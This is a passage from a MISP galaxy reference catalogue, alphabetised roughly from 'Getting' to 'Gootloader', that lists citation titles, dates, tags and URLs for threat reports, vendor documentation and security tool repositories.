http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf

AADInternals Root Access to Azure VMs

Dr. Nestori Syynimaa. (2020, June 4). Getting root access to Azure VMs as a Azure AD Global Administrator. Retrieved March 13, 2023.

The tag is: *misp-galaxy:references="AADInternals Root Access to Azure VMs"*

Table 20829. Table References

Links
https://aadinternals.com/post/azurevms/

Wardle Dylib Hijack Vulnerable Apps

Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.

The tag is: *misp-galaxy:references="Wardle Dylib Hijack Vulnerable Apps"*

Table 20830. Table References

Links
https://objective-see.com/blog/blog_0x46.html

Lua main page

Lua. (2024, June 25). Getting started. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Lua main page"*

Table 20831. Table References

Links
https://www.lua.org/start.html

2 - appv

Microsoft. (2022, November 3). Getting started with App-V for Windows client. Retrieved February 6, 2024.

The tag is: *misp-galaxy:references="2 - appv"*

Table 20832. Table References

Links
https://learn.microsoft.com/en-us/windows/application-management/app-v/appv-getting-started

MSDN VBA in Office

Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="MSDN VBA in Office"*

Table 20833. Table References

Links
https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office

Windows Getting Started Drivers

Viviano, A. (2021, August 17). Getting started with Windows drivers: User mode and kernel mode. Retrieved September 24, 2021.

The tag is: *misp-galaxy:references="Windows Getting Started Drivers"*

Table 20834. Table References

Links
https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode

Bloxham

Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Bloxham"*

Table 20835. Table References

Links
https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf

Microsoft GetWindowLong function

Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.

The tag is: *misp-galaxy:references="Microsoft GetWindowLong function"*

Table 20836. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx

Microsoft GFlags Mar 2017

Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="Microsoft GFlags Mar 2017"*

Table 20837. Table References

Links
https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview

GfxDownloadWrapper.exe - LOLBAS Project

LOLBAS. (2019, December 27). GfxDownloadWrapper.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="GfxDownloadWrapper.exe - LOLBAS Project"*

Table 20838. Table References

Links
https://lolbas-project.github.io/lolbas/HonorableMentions/GfxDownloadWrapper/

Kaspersky September 30 2021

Mark Lechtik. (2021, September 30). GhostEmperor From ProxyLogon to kernel mode. Retrieved October 24, 2024.

The tag is: *misp-galaxy:references="Kaspersky September 30 2021"*

Table 20839. Table References

Links
https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/

SOCRadar® Cyber Intelligence Inc. October 18 2023

Cem Sarı. (2023, October 18). GhostLocker A New Generation of Ransomware as a Service (RaaS) - SOCRadar® Cyber Intelligence Inc.. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="SOCRadar® Cyber Intelligence Inc. October 18 2023"*

Table 20840. Table References

Links
https://socradar.io/ghostlocker-a-new-generation-of-ransomware-as-a-service-raas/

Uptycs Inc November 3 2023

Uptycs Threat Research. (2023, November 3). GhostSec offers Ransomware-as-a-Service Possibly Used to Target Israel. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Uptycs Inc November 3 2023"*

Table 20841. Table References

Links
https://www.uptycs.com/blog/ghostlocker-ransomware-ghostsec

Cisco Talos Blog March 5 2024

Chetan Raghuprasad. (2024, March 5). GhostSec's joint ransomware operation and evolution of their arsenal. Retrieved April 4, 2025.

The tag is: *misp-galaxy:references="Cisco Talos Blog March 5 2024"*

Table 20842. Table References

Links
https://blog.talosintelligence.com/ghostsec-ghostlocker2-ransomware/

Wikimedia Foundation Inc. July 26 2015

Wikimedia Foundation Inc.. (2015, July 26). Ghost Security - Wikipedia. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Wikimedia Foundation Inc. July 26 2015"*

Table 20843. Table References

Links
https://en.wikipedia.org/wiki/Ghost_Security

GhostToken GCP flaw

Sergiu Gatlan. (2023, April 21). GhostToken GCP flaw let attackers backdoor Google accounts. Retrieved September 18, 2023.

The tag is: *misp-galaxy:references="GhostToken GCP flaw"*

Table 20844. Table References

Links
https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/

Hacker News GitHub Abuse 2024

Dvir Sasson. (2024, May 13). GitHub Abuse Flaw Shows Why We Can’t Shrug Off Abuse Vulnerabilities in Security. Retrieved March 31, 2025.

The tag is: *misp-galaxy:references="Hacker News GitHub Abuse 2024"*

Table 20845. Table References

Links
https://thehackernews.com/expert-insights/2024/05/github-abuse-flaw-shows-why-we-cant.html

GitHub ADRecon

adrecon. (n.d.). GitHub ADRecon. Retrieved March 5, 2024.

The tag is: *misp-galaxy:references="GitHub ADRecon"*

Table 20846. Table References

Links
https://github.com/adrecon/ADRecon

GitHub June 26 2014

Andrivet. (2014, June 26). GitHub - andrivetADVobfuscator Obfuscation library based on C++1114 and metaprogramming. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub June 26 2014"*

Table 20847. Table References

Links
https://github.com/andrivet/ADVobfuscator

GitHub Arvanaghi SessionGopher

Arvanaghi. (n.d.). GitHub Arvanaghi SessionGopher. Retrieved November 22, 2024.

The tag is: *misp-galaxy:references="GitHub Arvanaghi SessionGopher"*

Table 20848. Table References

Links
https://github.com/Arvanaghi/SessionGopher

GitHub b23r0 rsocx

b23r0. (n.d.). GitHub b23r0 rsocx. Retrieved June 8, 2025.

The tag is: *misp-galaxy:references="GitHub b23r0 rsocx"*

Table 20849. Table References

Links
https://github.com/b23r0/rsocx

GitHub BeichenDream BadPotato

BeichenDream. (n.d.). GitHub BeichenDream BadPotato. Retrieved August 28, 2023.

The tag is: *misp-galaxy:references="GitHub BeichenDream BadPotato"*

Table 20850. Table References

Links
https://github.com/BeichenDream/BadPotato

GitHub August 19 2022

GitHub. (2022, August 19). GitHub · Build and ship software on a single, collaborative platform. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub August 19 2022"*

Table 20851. Table References

Links
https://github.com/

GitHub Chisel

jpillora. (n.d.). GitHub Chisel. Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="GitHub Chisel"*

Table 20852. Table References

Links
https://github.com/jpillora/chisel

GitHub creaktive tsh

creaktive. (n.d.). GitHub creaktive tsh. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="GitHub creaktive tsh"*

Table 20853. Table References

Links
https://github.com/creaktive/tsh

GitHub March 18 2010

Curl. (2010, March 18). GitHub - curlcurl A command line tool and library for transferring data with URL syntax, supporting DICT, FILE, FTP, FTPS, GOPHER, GOPHERS, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, TFTP, WS and WSS. libcurl offers a myriad of powerful features. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub March 18 2010"*

Table 20854. Table References

Links
https://github.com/curl/curl

GitHub cybershujin Threat-Actors-use-of-Artifical-Intelligence

cybershujin. (n.d.). GitHub cybershujin Threat-Actors-use-of-Artifical-Intelligence. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="GitHub cybershujin Threat-Actors-use-of-Artifical-Intelligence"*

Table 20855. Table References

Links
https://github.com/cybershujin/Threat-Actors-use-of-Artifical-Intelligence

Github evilginx2

Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.

The tag is: *misp-galaxy:references="Github evilginx2"*

Table 20856. Table References

Links
https://github.com/kgretzky/evilginx2

GitHub evilginx2 - Duplicate

kgretzky. (n.d.). GitHub evilginx2. Retrieved December 14, 2023.

The tag is: *misp-galaxy:references="GitHub evilginx2 - Duplicate"*

Table 20857. Table References

Links
https://github.com/kgretzky/evilginx2

GitHub Flangvik SharpExfiltrate

Flangvik. (n.d.). GitHub Flangvik SharpExfiltrate. Retrieved June 18, 2024.

The tag is: *misp-galaxy:references="GitHub Flangvik SharpExfiltrate"*

Table 20858. Table References

Links
https://github.com/Flangvik/SharpExfiltrate

GitHub December 29 2022

Glotlabs. (2022, December 29). GitHub - glotlabsgdrive Google Drive CLI Client. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub December 29 2022"*

Table 20859. Table References

Links
https://github.com/glotlabs/gdrive

GitHub October 23 2010

Gorakhargosh. (2010, October 23). GitHub - gorakhargoshwatchdog Python library and shell utilities

to monitor filesystem events.. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub October 23 2010"*

Table 20860. Table References

Links
https://github.com/gorakhargosh/watchdog

GitHub October 2 2012

Gorilla. (2012, October 2). GitHub - gorillamux Package gorillamux is a powerful HTTP router and URL matcher for building Go web servers with . Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub October 2 2012"*

Table 20861. Table References

Links
https://github.com/gorilla/mux

GitHub HavocFramework Havoc WIKI

HavocFramework. (2023, September 28). GitHub HavocFramework Havoc WIKI. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="GitHub HavocFramework Havoc WIKI"*

Table 20862. Table References

Links
https://github.com/HavocFramework/Havoc/blob/main/WIKI.MD

GitHub October 1 2023

Keowu. (2023, October 1). GitHub - keowuBadRentdrv2 A vulnerable driver exploited by me (BYOVD) that is capable of terminating several EDRs and antivirus software in the market, rendering them ineffective, working for both x32 and x64(CVE-2023-44976).. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub October 1 2023"*

Table 20863. Table References

Links
https://github.com/keowu/BadRentdrv2/tree/main

GitHub April 1 2018

Kubo. (2018, April 1). GitHub - kuboinjector Library for injecting a shared library into a Linux or Windows process. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub April 1 2018"*

Table 20864. Table References

Links
https://github.com/kubo/injector

GitHub December 31 2022

Ldpreload. (2022, December 31). GitHub - ldpreloadMedusa LD_PRELOAD Rootkit. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub December 31 2022"*

Table 20865. Table References

Links
https://github.com/ldpreload/Medusa

GitHub September 12 2016

Lonng. (2016, September 12). GitHub - lonngnex Aiming to simplify the construction of JSON API service. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub September 12 2016"*

Table 20866. Table References

Links
https://github.com/lonng/nex

GitHub Malleable C2

Mudge, R. (2014, July 14). Github Malleable-C2-Profiles safebrowsing.profile. Retrieved June 18, 2017.

The tag is: *misp-galaxy:references="GitHub Malleable C2"*

Table 20867. Table References

Links
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile

GitHub November 27 2023

MaorSabag. (2023, November 27). GitHub - MaorSabagTrueSightKiller CPP AVEDR Killer. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub November 27 2023"*

Table 20868. Table References

Links
https://github.com/MaorSabag/TrueSightKiller

GitHub masscan

robertdavidgraham. (n.d.). GitHub masscan. Retrieved March 13, 2024.

The tag is: *misp-galaxy:references="GitHub masscan"*

Table 20869. Table References

Links
https://github.com/robertdavidgraham/masscan

GitHub meganz MEGAcmd

meganz. (n.d.). GitHub meganz MEGAcmd. Retrieved June 18, 2024.

The tag is: *misp-galaxy:references="GitHub meganz MEGAcmd"*

Table 20870. Table References

Links
https://github.com/meganz/MEGAcmd

GitHub meganz MEGAsync

GitHub. (n.d.). GitHub - meganz/MEGAsync: Easy automated syncing between your computers and your MEGA Cloud Drive. Retrieved June 22, 2023.

The tag is: *misp-galaxy:references="GitHub meganz MEGAsync"*

Table 20871. Table References

Links
https://github.com/meganz/MEGAsync

GitHub April 21 2016

MisterDaneel. (2016, April 21). GitHub - MisterDaneelpysoxy A small Socks5 Proxy Server in Python. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub April 21 2016"*

Table 20872. Table References

Links
https://github.com/MisterDaneel/pysoxy/tree/master

GitHub mitre stockpile abilities

mitre. (n.d.). GitHub mitre stockpile abilities. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="GitHub mitre stockpile abilities"*

Table 20873. Table References

Links
https://github.com/mitre/stockpile/tree/master/data/abilities

GitHub April 23 2013

Nuitka. (2013, April 23). GitHub - NuitkaNuitka Nuitka is a Python compiler written in Python. It's fully compatible with Python 2.6, 2.7, 3.4-3.13. You feed it your Python app, it does a lot of clever things, and spits out an executable or extension module.. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub April 23 2013"*

Table 20874. Table References

Links
https://github.com/Nuitka/Nuitka

GitHub - NYAN-x-CAT/AsyncRAT-C-Sharp: Open-Source Remote Administration Tool For Windows C#

GitHub. (n.d.). GitHub - NYAN-x-CAT/AsyncRAT-C-Sharp: Open-Source Remote Administration Tool For Windows C#. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="GitHub - NYAN-x-CAT/AsyncRAT-C-Sharp: Open-Source Remote Administration Tool For Windows C#"*

Table 20875. Table References

Links

https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/

GitHub ohpe Juicy Potato

ohpe. (n.d.). GitHub ohpe Juicy Potato. Retrieved August 28, 2023.

The tag is: *misp-galaxy:references="GitHub ohpe Juicy Potato"*

Table 20876. Table References

Links
https://github.com/ohpe/juicy-potato

GitHub outflanknl Dumpert

outflanknl. (n.d.). GitHub outflanknl Dumpert. Retrieved September 5, 2024.

The tag is: *misp-galaxy:references="GitHub outflanknl Dumpert"*

Table 20877. Table References

Links
https://github.com/outflanknl/Dumpert

code_persistence_zsh

Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.

The tag is: *misp-galaxy:references="code_persistence_zsh"*

Table 20878. Table References

Links
https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js

Github PowerShell Empire

Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.

The tag is: *misp-galaxy:references="Github PowerShell Empire"*

Table 20879. Table References

Links
https://github.com/PowerShellEmpire/Empire

GitHub Pupy

Nicolas Verdier. (n.d.). Retrieved January 29, 2018.

The tag is: *misp-galaxy:references="GitHub Pupy"*

Table 20880. Table References

Links
https://github.com/n1nj4sec/pupy

GitHub purple-team-attack-automation - Available Modules

praetorian-inc. (n.d.). GitHub purple-team-attack-automation - Available Modules. Retrieved September 8, 2023.

The tag is: *misp-galaxy:references="GitHub purple-team-attack-automation - Available Modules"*

Table 20881. Table References

Links
https://github.com/praetorian-inc/purple-team-attack-automation/wiki/Available-Modules

GitHub random_c2_profile

threatexpress. (n.d.). GitHub random_c2_profile. Retrieved September 21, 2023.

The tag is: *misp-galaxy:references="GitHub random_c2_profile"*

Table 20882. Table References

Links
https://github.com/threatexpress/random_c2_profile

GitHub ransomware_map

cert-orangecyberdefense. (n.d.). GitHub ransomware_map. Retrieved March 13, 2024.

The tag is: *misp-galaxy:references="GitHub ransomware_map"*

Table 20883. Table References

Links
https://github.com/cert-orangecyberdefense/ransomware_map

GitHub rsockstun

llkat. (n.d.). GitHub rsockstun. Retrieved December 14, 2023.

The tag is: *misp-galaxy:references="GitHub rsockstun"*

Table 20884. Table References

Links
https://github.com/llkat/rsockstun

GitHub February 5 2021

Sadshade. (2021, February 5). GitHub - sadshadeveeam-creds Collection of scripts to retrieve stored passwords from Veeam Backup. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub February 5 2021"*

Table 20885. Table References

Links
https://github.com/sadshade/veeam-creds

GitHub secretsdump

fortra. (n.d.). GitHub secretsdump. Retrieved November 16, 2023.

The tag is: *misp-galaxy:references="GitHub secretsdump"*

Table 20886. Table References

Links
https://github.com/fortra/impacket/blob/master/examples/secretsdump.py

GitHub securesocketfunneling ssf

securesocketfunneling. (n.d.). GitHub securesocketfunneling ssf. Retrieved July 10, 2024.

The tag is: *misp-galaxy:references="GitHub securesocketfunneling ssf"*

Table 20887. Table References

Links
https://github.com/securesocketfunneling/ssf

GitHub SharpChromium

djhohnstein. (n.d.). GitHub SharpChromium. Retrieved December 14, 2023.

The tag is: *misp-galaxy:references="GitHub SharpChromium"*

Table 20888. Table References

Links
https://github.com/djhohnstein/SharpChromium

GitHub SharpHound

BloodHoundAD. (n.d.). GitHub SharpHound. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="GitHub SharpHound"*

Table 20889. Table References

Links
https://github.com/BloodHoundAD/SharpHound

GitHub SharpRoast

GhostPack. (n.d.). GitHub SharpRoast. Retrieved September 22, 2023.

The tag is: *misp-galaxy:references="GitHub SharpRoast"*

Table 20890. Table References

Links
https://github.com/GhostPack/SharpRoast

GitHub SILENTTRINITY March 2022

Salvati, M (2019, August 6). SILENTTRINITY. Retrieved March 23, 2022.

The tag is: *misp-galaxy:references="GitHub SILENTTRINITY March 2022"*

Table 20891. Table References

Links
https://github.com/byt3bl33d3r/SILENTTRINITY

GitHub SnaffCon Snaffler

SnaffCon. (n.d.). GitHub SnaffCon Snaffler. Retrieved June 8, 2025.

The tag is: *misp-galaxy:references="GitHub SnaffCon Snaffler"*

Table 20892. Table References

Links

https://github.com/SnaffCon/Snaffler

GitHub SoftEtherVPN SoftEtherVPN_Stable

SoftEtherVPN. (n.d.). GitHub SoftEtherVPN SoftEtherVPN_Stable. Retrieved August 28, 2023.

The tag is: *misp-galaxy:references="GitHub SoftEtherVPN SoftEtherVPN_Stable"*

Table 20893. Table References

Links
https://github.com/SoftEtherVPN/SoftEtherVPN_Stable

GitHub Terminator

ZeroMemoryEx. (n.d.). GitHub Terminator. Retrieved March 13, 2024.

The tag is: *misp-galaxy:references="GitHub Terminator"*

Table 20894. Table References

Links
https://github.com/ZeroMemoryEx/Terminator

GitHub tonyseek rsocks

tonyseek. (n.d.). GitHub tonyseek rsocks. Retrieved November 22, 2024.

The tag is: *misp-galaxy:references="GitHub tonyseek rsocks"*

Table 20895. Table References

Links
https://github.com/tonyseek/rsocks

GitHub upx upx

upx. (n.d.). GitHub upx upx. Retrieved November 22, 2024.

The tag is: *misp-galaxy:references="GitHub upx upx"*

Table 20896. Table References

Links
https://github.com/upx/upx

GitHub wavestone-cdt EDRSandBlast

wavestone-cdt. (n.d.). GitHub wavestone-cdt EDRSandBlast. Retrieved September 5, 2024.

The tag is: *misp-galaxy:references="GitHub wavestone-cdt EDRSandBlast"*

Table 20897. Table References

Links
https://github.com/wavestone-cdt/EDRSandblast

GitHub September 30 2021

Wzshiming. (2021, September 30). GitHub - wzshimingsshd SSH Server. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub September 30 2021"*

Table 20898. Table References

Links
https://github.com/wzshiming/sshd

GitHub xmrig-proxy

xmrig. (n.d.). GitHub xmrig-proxy. Retrieved October 25, 2023.

The tag is: *misp-galaxy:references="GitHub xmrig-proxy"*

Table 20899. Table References

Links
https://github.com/xmrig/xmrig-proxy

GitHub February 4 2012

Yarrick. (2012, February 4). GitHub - yarrickiodine Official git repo for iodine dns tunnel. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GitHub February 4 2012"*

Table 20900. Table References

Links
https://github.com/yarrick/iodine

GitHub Gitrob

Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="GitHub Gitrob"*

Table 20901. Table References

Links
https://github.com/michenriksen/gitrob

Palo Alto Unit 42 North Korean IT Workers 2024

Evan Gordenker. (2024, November 13). Global Companies Are Unknowingly Paying North Koreans: Here's How to Catch Them. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Palo Alto Unit 42 North Korean IT Workers 2024"*

Table 20902. Table References

Links
https://unit42.paloaltonetworks.com/north-korean-it-workers/

FireEye DNS Hijack 2019

Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.

The tag is: *misp-galaxy:references="FireEye DNS Hijack 2019"*

Table 20903. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html

McAfee Night Dragon

McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: "Night Dragon". Retrieved February 19, 2018.

The tag is: *misp-galaxy:references="McAfee Night Dragon"*

Table 20904. Table References

Links

https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf

GMER Rootkits

GMER. (n.d.). GMER. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="GMER Rootkits"*

Table 20905. Table References

Links
http://www.gmer.net/

Gnome Remote Desktop grd-settings

Pascal Nowack. (n.d.). Retrieved September 21, 2021.

The tag is: *misp-galaxy:references="Gnome Remote Desktop grd-settings"*

Table 20906. Table References

Links
https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207

Gnome Remote Desktop gschema

Pascal Nowack. (n.d.). Retrieved September 21, 2021.

The tag is: *misp-galaxy:references="Gnome Remote Desktop gschema"*

Table 20907. Table References

Links
https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in

MITRE Trustworthy Firmware Measurement

Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.

The tag is: *misp-galaxy:references="MITRE Trustworthy Firmware Measurement"*

Table 20908. Table References

Links

http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research

Secureworks Gold Blackburn Mar 2022

Secureworks Counter Threat Unit. (2022, March 1). Gold Blackburn Threat Profile. Retrieved June 15, 2023.

The tag is: *misp-galaxy:references="Secureworks Gold Blackburn Mar 2022"*

Table 20909. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-blackburn

Secureworks GOLD CABIN

Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021.

The tag is: *misp-galaxy:references="Secureworks GOLD CABIN"*

Table 20910. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-cabin

McAfee Gold Dragon

Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims' Systems. Retrieved June 6, 2018.

The tag is: *misp-galaxy:references="McAfee Gold Dragon"*

Table 20911. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Secureworks June 1 2017

Secureworks. (2017, June 1). GOLD DUPONT. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Secureworks June 1 2017"*

Table 20912. Table References

Links

https://www.secureworks.com/research/threat-profiles/gold-dupont

Cyberark Golden SAML

Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="Cyberark Golden SAML"*

Table 20913. Table References

Links
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Trustwave GoldenSpy2 June 2020

Trustwave SpiderLabs. (2020, June 26). GoldenSpy: Chapter Two – The Uninstaller. Retrieved July 23, 2020.

The tag is: *misp-galaxy:references="Trustwave GoldenSpy2 June 2020"*

Table 20914. Table References

Links
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/

Secureworks GOLD IONIC April 2024

Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.

The tag is: *misp-galaxy:references="Secureworks GOLD IONIC April 2024"*

Table 20915. Table References

Links
https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware

Secureworks GOLD KINGSWOOD Threat Profile

Secureworks. (n.d.). GOLD KINGSWOOD. Retrieved October 18, 2021.

The tag is: *misp-galaxy:references="Secureworks GOLD KINGSWOOD Threat Profile"*

Table 20916. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain

MSTIC NOBELIUM Mar 2021

Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM's layered persistence. Retrieved March 8, 2021.

The tag is: *misp-galaxy:references="MSTIC NOBELIUM Mar 2021"*

Table 20917. Table References

Links
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

Secureworks GOLD NIAGARA Threat Profile

CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.

The tag is: *misp-galaxy:references="Secureworks GOLD NIAGARA Threat Profile"*

Table 20918. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-niagara

Secureworks Gold Prelude Profile

Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.

The tag is: *misp-galaxy:references="Secureworks Gold Prelude Profile"*

Table 20919. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-prelude

Secureworks GOLD SAHARA

Secureworks. (n.d.). GOLD SAHARA. Retrieved February 20, 2024.

The tag is: *misp-galaxy:references="Secureworks GOLD SAHARA"*

Table 20920. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-sahara

Secureworks GOLD SOUTHFIELD

Secureworks. (n.d.). GOLD SOUTHFIELD. Retrieved October 6, 2020.

The tag is: *misp-galaxy:references="Secureworks GOLD SOUTHFIELD"*

Table 20921. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-southfield

Secureworks GOLD SWATHMORE

Secureworks GOLD SWATHMORE. (n.d.). GOLD SWATHMORE. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="Secureworks GOLD SWATHMORE"*

Table 20922. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-swathmore

Google Chrome Remote Desktop

Google. (n.d.). Retrieved March 14, 2024.

The tag is: *misp-galaxy:references="Google Chrome Remote Desktop"*

Table 20923. Table References

Links
https://support.google.com/chrome/answer/1649523

Google Cloud Identity API Documentation

Google. (n.d.). Retrieved March 16, 2021.

The tag is: *misp-galaxy:references="Google Cloud Identity API Documentation"*

Table 20924. Table References

Links
https://cloud.google.com/identity/docs/reference/rest

GCPBucketBrute

Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP) Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022.

The tag is: *misp-galaxy:references="GCPBucketBrute"*

Table 20925. Table References

Links
https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/

ExploitDB GoogleHacking

Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.

The tag is: *misp-galaxy:references="ExploitDB GoogleHacking"*

Table 20926. Table References

Links
https://www.exploit-db.com/google-hacking-database

Freejacked

Clark, Michael. (2023, August 14). Google's Vertex AI Platform Gets Freejacked. Retrieved February 28, 2024.

The tag is: *misp-galaxy:references="Freejacked"*

Table 20927. Table References

Links
https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/

Google Workspace Global Access List

Google. (n.d.). Retrieved March 16, 2021.

The tag is: *misp-galaxy:references="Google Workspace Global Access List"*

Table 20928. Table References

Links
https://support.google.com/a/answer/166870?hl=en

OWN-CERT Google App Script 2024

L'Hutereau Arnaud. (n.d.). Google Workspace Malicious App Script analysis. Retrieved October 2, 2024.

The tag is: *misp-galaxy:references="OWN-CERT Google App Script 2024"*

Table 20929. Table References

Links
https://www.own.security/ressources/blog/google-workspace-malicious-app-script-analysis

Trend Micro January 09 2023

Trend Micro. (2023, January 9). Gootkit Loader Actively Targets Australian Healthcare Industry. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Trend Micro January 09 2023"*

Table 20930. Table References

Links
https://www.trendmicro.com/en_us/research/23/a/gootkit-loader-actively-targets-the-australian-healthcare-indust.html

Sophos Gootloader

Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="Sophos Gootloader"*

Table 20931. Table References

Links
https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/

SentinelOne Gootloader June 2021

Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.

The tag is: *misp-galaxy:references="SentinelOne Gootloader June 2021"*

Table 20932. Table References

Links
https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/

SentinelLabs Gootloader June 2021

Antonio Pirozzi. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="SentinelLabs Gootloader June 2021"*

Table 20933. Table References

Links
https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/

Cybereason Gootloader February 2023

Loïc Castel, Jakes Jansen, Nitin Grover. (2023, February 14). GootLoader - SEO Poisoning and Large Payloads Leading to Compromise. Retrieved May 18, 2023.

The tag is: *misp-galaxy:references="Cybereason Gootloader February 2023"*

Table 20934. Table References

Links
